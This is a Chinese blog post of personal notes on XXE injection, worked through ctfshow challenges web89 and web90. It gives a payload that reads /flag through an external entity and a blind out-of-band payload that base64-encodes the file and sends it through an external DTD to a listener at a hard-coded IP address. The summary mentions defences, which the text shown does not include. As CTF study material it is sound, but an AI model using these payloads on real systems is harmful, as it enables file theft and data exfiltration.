【心得】XXE漏洞利用个人笔记

本文详细解释了XML文档类型定义(DTD)中的内部实体(SYSTEM)和外部实体(PUBLIC)的区别,并探讨了如何利用XXE漏洞进行任意文件读取,包括回显和无回显时的文件读取方法,以及防止此类攻击的措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用


XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父  3个叔父  8个堂弟堂妹   

<祖父>

    <叔父1>
        <堂兄1>
    </叔父1>

    <叔父2>
     <堂兄2>    
    </叔父2>

    <叔父3>

     <堂兄3>
    </叔父4>

</祖父>

xml格式


1 有回显时文件读取方法


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

例题1 web89

post传:

<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

 这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

 无回显点,考虑数据外带

 post传

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://124.222.136.33/test.dtd">
    %myurl;
]> 
<root>
1
</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%dtd;
%vps;

vps监听1337端口即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值